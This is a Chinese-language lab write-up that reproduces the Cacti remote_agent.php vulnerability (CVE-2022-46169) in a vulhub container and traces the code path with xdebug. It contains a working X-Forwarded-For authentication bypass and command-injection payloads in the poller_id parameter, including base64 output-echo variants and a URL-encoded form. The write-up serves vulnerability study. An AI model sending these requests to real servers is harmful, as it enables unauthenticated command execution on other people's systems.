一.准备工作
1.安装doker
curl -fsSL https://get.docker.com | sh
并验证docker是否正确安装和检验docker compose是否可用
docker version
docker compose version
2.克隆仓库
git clone https://github.com/vulhub/vulhub.git
注:若不能拉取仓库,使用proxychains
proxychains git clone https://github.com/vulhub/vulhub.git
3.选择要使用的漏洞环境
cd vulhub/cacti/CVE-2022-46169
4.启动漏洞环境

5.通过浏览器访问漏洞应用程序

6.在docker容器中安装xdebug并启用扩展
pecl install xdebug-3.1.6
docker-php-ext-enable xdebug
7.随后重启容器并更改配置文件
docker restart <your-container>
vim /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini
添加如下内容
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
8.使用vscode连接容器并安装xdebug插件


二.代码审计
通过官方文档给出的信息来看,漏洞文件来自remote_agent.php
当远程客户端未授权时将会显示你没有权限并退出程序,那么就需要通过get传参请求进行绕过此if鉴权函数
php
if (!remote_client_authorized()) {
print 'FATAL: You are not authorized to use this service';
exit;
}
而因为get传参用户是可控的,通过观察以下代码可以猜出大概率是在 poll_for_data函数中触发
php
switch (get_request_var('action')) {
case 'polldata':
// Only let realtime polling run for a short time
ini_set('max_execution_time', read_config_option('script_timeout'));
debug('Start: Poling Data for Realtime');
poll_for_data();
debug('End: Poling Data for Realtime');
break;
case 'runquery':
debug('Start: Running Data Query');
run_remote_data_query();
debug('End: Running Data Query');
break;
case 'ping':
debug('Start: Pinging Device');
ping_device();
debug('End: Pinging Device');
break;
case 'snmpget':
debug('Start: Performing SNMP Get Request');
get_snmp_data();
debug('End: Performing SNMP Get Request');
break;
case 'snmpwalk':
debug('Start: Performing SNMP Walk Request');
get_snmp_data_walk();
debug('End: Performing SNMP Walk Request');
break;
case 'graph_json':
debug('Start: Performing Graph Request');
get_graph_data();
debug('End: Performing Graph Request');
break;
case 'discover':
debug('Start:Performing Network Discovery Request');
run_remote_discovery();
debug('End:Performing Network Discovery Request');
break;
default:
if (!api_plugin_hook_function('remote_agent', get_request_var('action'))) {
debug('WARNING: Unknown Agent Request');
print 'Unknown Agent Request';
}
}
function get_request_var($name, $default = '') {
global $_CACTI_REQUEST;
$log_validation = read_config_option('log_validation');
if (isset($_CACTI_REQUEST[$name])) {
return $_CACTI_REQUEST[$name];
} elseif (isset_request_var($name)) {
if ($log_validation == 'on') {
html_log_input_error($name);
}
set_request_var($name, $_REQUEST[$name]);
return $_REQUEST[$name]; // 这种接法使用 GET POST COOKIE都行
} else {
return $default;
}
}
而在 **poll_for_data();**函数中,有三个请求

所以需要使用get传递三个参数
action=polldata&local_ids[0]=6&host_id=1&poller_id='touch+/tmp/success'
因为发送没有回显,所以我需要使用创建文件的命令'touch+/tmp/success',查看文件是否创建成功
通过抓包我们可以获取该网站的流量,并添加X-Forwarded-For:127.0.0.1获取get_client_addr();客户端

随后我们在remote_client_authorized() 函数中插入print_r(client_addr);**获取**client_addr** 的值是否为127.0.0.1和**print_r(client_name); 打印出client_name 值是否为hostname 并用**exit;**中断程序

发送后可以看到值完全符合

而在functions.php 文件中有关于 get_client_addr函数
php
function get_client_addr($client_addr = false) {
$http_addr_headers = array(
'X-Forwarded-For',
'X-Client-IP',
'X-Real-IP',
'X-ProxyUser-Ip',
'CF-Connecting-IP',
'True-Client-IP',
'HTTP_X_FORWARDED',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'HTTP_CLIENT_IP',
'REMOTE_ADDR',
);
$client_addr = false;
foreach ($http_addr_headers as $header) {
if (!empty($_SERVER[$header])) {
$header_ips = explode(',', $_SERVER[$header]);
foreach ($header_ips as $header_ip) {
if (!empty($header_ip)) {
if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
} else {
$client_addr = $header_ip;
cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
break 2;
}
}
}
}
}
return $client_addr;
}
目前该函数中,client_addr为X-Forwarded-For 走到foreach函数中进行循环,header即为X-Forwarded-For所以不为空跳到下一层循环,由于127.0.0.1为合法ip所以跳入else,将其赋值给**$client_addr**我们可以将其打印出来,这样更清晰的显示出来


跟预期一样,由此可知hostname 就是localhost
php
$client_name = gethostbyaddr($client_addr);
print_r($client_name);exit;
if ($client_name == $client_addr) {
cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
} else {
$client_name = remote_agent_strip_domain($client_name);
}
由于**client_name** 不等于**client_addr** 也就是我们的localhost 不等于127.0.0.1因此会跳入else,remote_agent_strip_domain 这个过滤函数只过滤.
因此localhost 会正常返回,返回出来依然是localhost
php
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);
if (cacti_sizeof($pollers)) {
foreach($pollers as $poller) {
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
} elseif ($poller['hostname'] == $client_addr) {
return true;
}
}
}
pollers** 里的**hostname** 在数据库表中为**localhost** 与**client_name 的值localhost 相等因此会返回true ,至此if鉴权函数已经绕过
只要有success,代码即执行成功

action 由于是get 传参因此用户可控,当action=polldata 才能触发case 'polldata' 执行**poll_for_data();**代码
**function poll_for_data()**函数中传递了三个参数:
- 第一行代码传数组**[0]=6** 数组只有一个元素6
- 第二行代码传参1
- 第三行代码传命令执行如**
touch+/tmp/success
**
php
function poll_for_data() {
global $config;
$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id');
$return = array();
print_r($local_data_ids);
print_r($host_id);
print_r($poller_id);exit;

开始遍历
php
$items = db_fetch_assoc_prepared('SELECT *
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?',
array($host_id, $local_data_id));
通过第一个if查询到数组为
sql
local_data_id: 6
poller_id: 1
host_id: 1
action: 2
present: 1
last_updated: 2025-07-25 06:10:01
hostname: localhost
snmp_community: public
snmp_version: 0
snmp_username:
snmp_password:
snmp_auth_protocol:
snmp_priv_passphrase:
snmp_priv_protocol:
snmp_context:
snmp_engine_id:
snmp_port: 161
snmp_timeout: 500
rrd_name: uptime
rrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrd
rrd_num: 1
rrd_step: 300
rrd_next_step: 0
arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptime
arg2:
arg3:
第二次遍历
php
$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?
AND action = 2',
array($host_id, $local_data_id));
将数组里的action 取出,值为2 。
由于POLLER_ACTION_SCRIPT_PHP 值为2 ,因此将会匹配到case POLLER_ACTION_SCRIPT_PHP
进入到该case
中进行第一个if
函数
php
if (function_exists('proc_open')) {
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
$output = fgets($pipes[1], 1024);
$using_proc_function = true;
} else {
$using_proc_function = false;
}
通过该代码的read_config_option('path_php_binary') 取出php
路径执行**/usr/local/bin/php -q script_server.php realtime** touch /tmp/success
现在进行回显
php
function is_hexadecimal($result) {
$hexstr = str_replace(array(' ', '-'), ':', trim($result));
$parts = explode(':', $hexstr);
foreach($parts as $part) {
if (strlen($part) != 2) {
return false;
}
if (ctype_xdigit($part) == false) {
return false;
}
}
return true;
}
执行以下三条命令任意一条,将其进行urlenode编码
php
|echo "test\r\n`id" | xxd -p -c 1|awk '{printf \"%s \", $0}'`";
|echo "test\r\n :`id | base64 -w0`";
|echo "test\r\n`id |base64 -w0|awk -v ORS=':' '{print $0}'`";

%7Cecho%20%22test%5Cr%5Cn%20%3A%60id%20%7C%20base64%20-w0%60%22%3B

最后可以得到回显

dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK
最后进行base64解码

得到结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)